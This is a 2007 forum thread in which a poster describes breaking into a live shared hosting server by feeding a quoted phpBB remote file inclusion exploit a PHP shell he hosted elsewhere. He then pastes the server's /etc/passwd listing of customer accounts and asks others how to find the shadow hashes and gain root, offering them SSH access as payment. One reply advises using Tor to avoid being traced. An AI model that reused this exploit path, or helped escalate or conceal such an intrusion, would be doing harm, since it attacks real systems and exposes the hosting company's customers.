totse.com | I need some help here.......

sirholkms · #1 2007-06-28, 07:39

(I know I am going to get flamed for this) Yesterday I was browsing the milw0rm exploits and out of curiosity I searched for the key word "RFI" (We all know what that is, well... lets hope) and a page with RFI exploits came up. Well I ended up clicking on:

Code:

http://www.milw0rm.com/exploits/3613

and reading about this RFI:

Quote:

Exploitname: phpBB Module Forum picture and META tags 1.7 File Include Vulnerability

Vendor: http://www.rfnnet.nl/downloads/phpbb..._META_tags.zip

Founder: bd0rk

Contact: bd0rk[at]hackermail.com

Greetings: str0ke, TheJT, Lu7k, CodeR

Vulnerable in MOD_forum_fields_parse.php: include($phpbb_root_path . 'MOD_forum_fields_default.php');

#$phpbb_root_path is not declared!

[+]Exploit: http://[target]/[module_path]/MOD_forum_fields_parse.php?phpbb_root_path=FILE

# milw0rm.com [2007-03-30]

Well then I wanted to test this RFI out so I uploaded a PHP shell to a free hosting site and crafted a google search to find me some RFIs. I ended up getting a shell into an OpenBSD system I have no idea what I am looking at. I know that it is a type of *nix and the root dir has the typical Linux stuff in it like etc, usr, boot. Well... you get the picture the system is to big and I can't find the shadows for the hashes because it is to big... I don't even know were to start there is so many different hashes and this is a box hosting MANY people. I explore through the directories and it looks like clones of the previous with all the typical Linux ones in there.

Here are the open ports:

Port: 110 - [ Pop3 => Post Office Protocol 3 ]
Port: 21 [ Ftp => File Transfer Protocol ]
Port: 22 [ Ssh => Remote Login Protocol ]
Port: 80 [ Http => World Wide Web, HTTP ] Apache/1.3.37 (Unix) PHP/4.4.6 mod_throttle/3.1.2 mod_psoft_traffic/0.2 mod_ssl/2.8.28 OpenSSL/0.9.7d FrontPage/5.0.2.2635
Port: 443 [ HttpS => Secure HTTP ]

(It has way more)

So there you go.... I haven't found any files with 777 permissions in the public_html dir for the site I am exploiting so I can't write my shell to it; I will just have to keep using my RFI for access. If some body helps me I will give you SSH access to the box and all it's hosting services (once I can get root), it defiantly has potential. So yeah any ideas were to go from here would be great.

Update: The box is running some thing called "H-Sphere".

Quote:

1.1. What is H-Sphere?
H-Sphere is a complete front end control panel and integrated back end for automating day to day tasks of web hosting operation such as billing, e-mail, web, FTP, DNS, POP3, cgi-bin, Webmail and FrontPage configuration. On the front end it is a user-friendly and intuitive web interface that allows complete customer self-care and can drastically cut down your maintenance and customer support costs. On the back end it is a system for managing above mentioned server side operation tasks that includes support for various hosting plans, operating systems, database platforms and e-commerce services.

This just keeps getting better...

baloo · #2 2007-06-28, 08:30

Well obviously they aren't going to let anyone fuck around. You need some permissions boi, and for that you need an account.

Look in /etc/passwd, not that you'll find any passwords there.

P.S. Shouldn't you be banned by now?

sirholkms · #3 2007-06-28, 09:18

Quote:

Originally Posted by baloo View Post

Well obviously they aren't going to let anyone fuck around. You need some permissions boi, and for that you need an account.

Look in /etc/passwd, not that you'll find any passwords there.

P.S. Shouldn't you be banned by now?

OMG thank you for being nice to me for once.... and for giving me a useful answer...
I just looked there and there is SO many files in that directory Jaya.
I found this in /etc/passwd:

Code:

# $FreeBSD: src/etc/master.passwd,v 1.39 2004/08/01 21:33:47 markm Exp $

#

root:*:0:0:Charlie &:/root:/bin/csh

toor:*:0:0:Bourne-again Superuser:/root:

daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin

operator:*:2:5:System &:/:/usr/sbin/nologin

bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin

tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin

kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin

games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin

news:*:8:8:News Subsystem:/:/usr/sbin/nologin

man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin

sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin

smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin

mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin

bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin

proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin

_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin

uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico

pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin

www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin

nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin

httpd:*:1001:1001:H-Sphere Httpd Daemon:/hsphere/shared/apache:/sbin/nologin

ftpd:*:1002:1002:H-Sphere ProFTPd Daemon:/hsphere/local/var/proftpd:/sbin/nologin

franklin:*:1194:1003:User &:/hsphere/local/home/franklin:/nonexistent

cualesla:*:1179:1004:User &:/hsphere/local/home/cualesla:/nonexistent

fogata:*:1144:1005:User &:/hsphere/local/home/fogata:/nonexistent

younadom:*:1186:1006:User &:/hsphere/local/home/younadom:/nonexistent

megabyt0:*:502:1007:User &:/hsphere/local/home/megabyt0:/nonexistent

milbendi:*:1232:1008:User &:/hsphere/local/home/milbendi:/nonexistent

gilbert:*:1191:1009:User &:/hsphere/local/home/gilbert:/nonexistent

rinconwe:*:1199:1010:User &:/hsphere/local/home/rinconwe:/nonexistent

alexgarc:*:1222:1011:User &:/hsphere/local/home/alexgarc:/nonexistent

jorgefio:*:1161:1012:User &:/hsphere/local/home/jorgefio:/nonexistent

fjtinoco:*:1252:1013:User &:/hsphere/local/home/fjtinoco:/nonexistent

bvahost:*:1154:1014:User &:/hsphere/local/home/bvahost:/nonexistent

noramari:*:1142:1015:User &:/hsphere/local/home/noramari:/nonexistent

solucionesdecarr:*:1287:1016:User &:/hsphere/local/home/solucionesdecarr:/nonexistent

autodetailing:*:1276:1017:User &:/hsphere/local/home/autodetailing:/nonexistent

valdeagu:*:1208:1018:User &:/hsphere/local/home/valdeagu:/nonexistent

admindom:*:1187:1019:User &:/hsphere/local/home/admindom:/nonexistent

motelagr:*:1163:1020:User &:/hsphere/local/home/motelagr:/nonexistent

megabyt1:*:505:1021:User &:/hsphere/local/home/megabyt1:/nonexistent

sinfin:*:1197:1022:User &:/hsphere/local/home/sinfin:/nonexistent

megabyt2:*:1207:1023:User &:/hsphere/local/home/megabyt2:/nonexistent

mariange:*:1192:1024:User &:/hsphere/local/home/mariange:/nonexistent

tziel:*:1229:1025:User &:/hsphere/local/home/tziel:/nonexistent

amayorca:*:504:1026:User &:/hsphere/local/home/amayorca:/nonexistent

oiceven:*:506:1027:User &:/hsphere/local/home/oiceven:/nonexistent

solgra:*:1233:1028:User &:/hsphere/local/home/solgra:/nonexistent

grupoyabadi:*:1288:1029:User &:/hsphere/local/home/grupoyabadi:/nonexistent

heinzson:*:1145:1030:User &:/hsphere/local/home/heinzson:/nonexistent

fvegas:*:1143:1031:User &:/hsphere/local/home/fvegas:/nonexistent

digitpro:*:1146:1032:User &:/hsphere/local/home/digitpro:/nonexistent

alvaroji:*:1213:1033:User &:/hsphere/local/home/alvaroji:/nonexistent

fimasis:*:1156:1034:User &:/hsphere/local/home/fimasis:/nonexistent

gabojcv:*:1189:1035:User &:/hsphere/local/home/gabojcv:/nonexistent

elvisale:*:1162:1036:User &:/hsphere/local/home/elvisale:/nonexistent

adalca:*:1188:1037:User &:/hsphere/local/home/adalca:/nonexistent

sisvenco:*:1147:1038:User &:/hsphere/local/home/sisvenco:/nonexistent

ceapid2:*:1285:1039:User &:/hsphere/local/home/ceapid2:/nonexistent

dechirip:*:1155:1040:User &:/hsphere/local/home/dechirip:/nonexistent

adrian78:*:1152:1041:User &:/hsphere/local/home/adrian78:/nonexistent

alsama:*:1223:1042:User &:/hsphere/local/home/alsama:/nonexistent

nelly:*:1133:1043:User &:/hsphere/local/home/nelly:/nonexistent

cabral:*:503:1044:User &:/hsphere/local/home/cabral:/nonexistent

radiogal:*:500:1045:User &:/hsphere/local/home/radiogal:/nonexistent

matrimon:*:1139:1047:User &:/hsphere/local/home/matrimon:/nonexistent

construy:*:1134:1048:User &:/hsphere/local/home/construy:/nonexistent

kdadmin:*:1138:1049:User &:/hsphere/local/home/kdadmin:/nonexistent

rgtres:*:1135:1050:User &:/hsphere/local/home/rgtres:/nonexistent

mylos:*:1202:1051:User &:/hsphere/local/home/mylos:/nonexistent

wanabana:*:1140:1052:User &:/hsphere/local/home/wanabana:/nonexistent

matorric:*:1141:1053:User &:/hsphere/local/home/matorric:/nonexistent

creaalex:*:1185:1054:User &:/hsphere/local/home/creaalex:/nonexistent

nriveram:*:1150:1055:User &:/hsphere/local/home/nriveram:/nonexistent

irdesir:*:1181:1056:User &:/hsphere/local/home/irdesir:/nonexistent

tecnoapa:*:1153:1057:User &:/hsphere/local/home/tecnoapa:/nonexistent

lifeflig:*:1164:1058:User &:/hsphere/local/home/lifeflig:/nonexistent

rogelior:*:1178:1059:User &:/hsphere/local/home/rogelior:/nonexistent

diptsy:*:1165:1060:User &:/hsphere/local/home/diptsy:/nonexistent

countryc:*:1158:1061:User &:/hsphere/local/home/countryc:/nonexistent

satech:*:1157:1062:User &:/hsphere/local/home/satech:/nonexistent

fcgven:*:1168:1063:User &:/hsphere/local/home/fcgven:/nonexistent

tarita:*:1166:1064:User &:/hsphere/local/home/tarita:/nonexistent

servicio:*:1169:1065:User &:/hsphere/local/home/servicio:/nonexistent

tustripl:*:1160:1066:User &:/hsphere/local/home/tustripl:/nonexistent

dernier:*:1170:1067:User &:/hsphere/local/home/dernier:/nonexistent

doraboli:*:1167:1068:User &:/hsphere/local/home/doraboli:/nonexistent

davidmur:*:1180:1069:User &:/hsphere/local/home/davidmur:/nonexistent

escarra:*:1172:1070:User &:/hsphere/local/home/escarra:/nonexistent

jackuc:*:1182:1071:User &:/hsphere/local/home/jackuc:/nonexistent

marcos:*:1214:1072:User &:/hsphere/local/home/marcos:/nonexistent

expresat:*:1173:1073:User &:/hsphere/local/home/expresat:/nonexistent

usuario:*:1234:1074:User &:/hsphere/local/home/usuario:/nonexistent

leninzam:*:1171:1075:User &:/hsphere/local/home/leninzam:/nonexistent

carlosau:*:1174:1076:User &:/hsphere/local/home/carlosau:/nonexistent

coaching:*:1175:1077:User &:/hsphere/local/home/coaching:/nonexistent

tinajas:*:1204:1078:User &:/hsphere/local/home/tinajas:/nonexistent

jcapitz2:*:1176:1079:User &:/hsphere/local/home/jcapitz2:/nonexistent

producci:*:1183:1080:User &:/hsphere/local/home/producci:/nonexistent

glitco:*:1190:1082:User &:/hsphere/local/home/glitco:/nonexistent

unefamer:*:1244:1083:User &:/hsphere/local/home/unefamer:/nonexistent

mdasilva:*:1277:1084:User &:/hsphere/local/home/mdasilva:/nonexistent

dsuze197:*:1215:1085:User &:/hsphere/local/home/dsuze197:/nonexistent

ingrides:*:1220:1086:User &:/hsphere/local/home/ingrides:/nonexistent

bucucu:*:1216:1087:User &:/hsphere/local/home/bucucu:/nonexistent

zerito:*:1201:1088:User &:/hsphere/local/home/zerito:/nonexistent

ozkruiz:*:1217:1089:User &:/hsphere/local/home/ozkruiz:/nonexistent

stylos:*:1224:1090:User &:/hsphere/local/home/stylos:/nonexistent

jymoimpo:*:1238:1091:User &:/hsphere/local/home/jymoimpo:/nonexistent

niwradio:*:1159:1092:User &:/hsphere/local/home/niwradio:/nonexistent

losobren:*:1184:1093:User &:/hsphere/local/home/losobren:/nonexistent

fotoweb:*:1218:1094:User &:/hsphere/local/home/fotoweb:/nonexistent

juannfer:*:1198:1095:User &:/hsphere/local/home/juannfer:/nonexistent

deyber:*:1205:1096:User &:/hsphere/local/home/deyber:/nonexistent

nutritec:*:1195:1097:User &:/hsphere/local/home/nutritec:/nonexistent

zenetve:*:1236:1098:User &:/hsphere/local/home/zenetve:/nonexistent

jeancarl:*:1196:1099:User &:/hsphere/local/home/jeancarl:/nonexistent

jorgecha:*:1206:1100:User &:/hsphere/local/home/jorgecha:/nonexistent

mundoani:*:1219:1101:User &:/hsphere/local/home/mundoani:/nonexistent

limpagna:*:1221:1102:User &:/hsphere/local/home/limpagna:/nonexistent

distri-r:*:1203:1103:User &:/hsphere/local/home/distri-r:/nonexistent

fernando:*:1212:1104:User &:/hsphere/local/home/fernando:/nonexistent

islasens:*:1231:1105:User &:/hsphere/local/home/islasens:/nonexistent

teconte:*:1278:1106:User &:/hsphere/local/home/teconte:/nonexistent

secretos:*:1226:1107:User &:/hsphere/local/home/secretos:/nonexistent

eduardoe:*:1237:1108:User &:/hsphere/local/home/eduardoe:/nonexistent

maitek:*:1227:1109:User &:/hsphere/local/home/maitek:/nonexistent

luismanuel:*:1279:1112:User &:/hsphere/local/home/luismanuel:/nonexistent

itgrebir:*:1254:1113:User &:/hsphere/local/home/itgrebir:/nonexistent

mcneox:*:1255:1114:User &:/hsphere/local/home/mcneox:/nonexistent

pomodoro:*:1239:1115:User &:/hsphere/local/home/pomodoro:/nonexistent

vozydato:*:1136:1116:User &:/hsphere/local/home/vozydato:/nonexistent

supervis:*:1245:1117:User &:/hsphere/local/home/supervis:/nonexistent

david:*:1240:1118:User &:/hsphere/local/home/david:/nonexistent

supervi0:*:1246:1119:User &:/hsphere/local/home/supervi0:/nonexistent

carniven:*:1241:1120:User &:/hsphere/local/home/carniven:/nonexistent

suarezma:*:1247:1121:User &:/hsphere/local/home/suarezma:/nonexistent

itahisa:*:1256:1122:User &:/hsphere/local/home/itahisa:/nonexistent

pryamo:*:1242:1123:User &:/hsphere/local/home/pryamo:/nonexistent

alexvm:*:1248:1124:User &:/hsphere/local/home/alexvm:/nonexistent

barquiar:*:1243:1125:User &:/hsphere/local/home/barquiar:/nonexistent

panashop:*:1249:1126:User &:/hsphere/local/home/panashop:/nonexistent

luisestrada:*:1280:1127:User &:/hsphere/local/home/luisestrada:/nonexistent

ialpaca:*:1281:1128:User &:/hsphere/local/home/ialpaca:/nonexistent

curacion:*:1258:1129:User &:/hsphere/local/home/curacion:/nonexistent

oalpaca:*:1282:1130:User &:/hsphere/local/home/oalpaca:/nonexistent

laudin:*:1259:1131:User &:/hsphere/local/home/laudin:/nonexistent

consigueloaqui:*:1263:1132:User &:/hsphere/local/home/consigueloaqui:/nonexistent

juanc:*:1260:1133:User &:/hsphere/local/home/juanc:/nonexistent

avnweb:*:1283:1134:User &:/hsphere/local/home/avnweb:/nonexistent

mani4ki:*:1284:1135:User &:/hsphere/local/home/mani4ki:/nonexistent

caleb:*:1290:1136:User &:/hsphere/local/home/caleb:/nonexistent

siceron:*:1289:1137:User &:/hsphere/local/home/siceron:/nonexistent

juanpablocabrera:*:1291:1138:User &:/hsphere/local/home/juanpablocabrera:/nonexistent

ungez:*:1286:1139:User &:/hsphere/local/home/ungez:/nonexistent

autolavado:*:1271:1141:User &:/hsphere/local/home/autolavado:/nonexistent

unixth:*:1292:1142:User &:/hsphere/local/home/unixth:/nonexistent

fandin:*:1273:1143:User &:/hsphere/local/home/fandin:/nonexistent

I couldn't fit the entire hash in. I think it is shadowed were can I find the shadow?

I also found a file called master.password but I can't read it, but I am sure I could read that file before. Must have been in a different directory and there is also a file called pass.db which I think was mentioned in another thread here.

baloo · #4 2007-06-28, 09:32

Dude where the hell did you get the idea my name was Jaya?

sirholkms · #5 2007-06-28, 09:37

Quote:

Originally Posted by baloo View Post

Dude where the hell did you get the idea my name was Jaya?

Lol wouldn't you like to know Miss. Baloo.

Ezekiel35 · #6 2007-06-28, 15:03

Since you haven't taken any steps for anonymity, I would advise you not to do anything more criminal to their server than simply exploring it. If you steal from them, damage the server or invade their users' privacy, it wouldn't take them long to contact the police and them retrieve your home address from your ISP.

It's the difference between them seeing logs and thinking "another damn hacker; let's improve security", and thinking "we've got to recover what he stole".

When using TOR, you don't usually have these problems, but even that isn't totally anonymous.

sirholkms · #7 2007-06-28, 22:28

Quote:

Originally Posted by Ezekiel35 View Post

Since you haven't taken any steps for anonymity, I would advise you not to do anything more criminal to their server than simply exploring it. If you steal from them, damage the server or invade their users' privacy, it wouldn't take them long to contact the police and them retrieve your home address from your ISP.

It's the difference between them seeing logs and thinking "another damn hacker; let's improve security", and thinking "we've got to recover what he stole".

When using TOR, you don't usually have these problems, but even that isn't totally anonymous.

Thanks for the advice. Mate.

M0rt · #8 2007-06-28, 23:42

Your question are too unspecific. You could have just said from the start that you dont have a clue what you are doing.

sirholkms · #9 2007-06-29, 00:12

Quote:

Originally Posted by M0rt View Post

Your question are too unspecific. You could have just said from the start that you dont have a clue what you are doing.

Ok then. I don't have a clue how to get root because the hash is shadowed..... I know that if you saw this system you could easily do it, it's so vun.

sirholkms · #10 2007-06-29, 00:14

Update: I can write files in the /temp directory and I can write to the apache log file directory.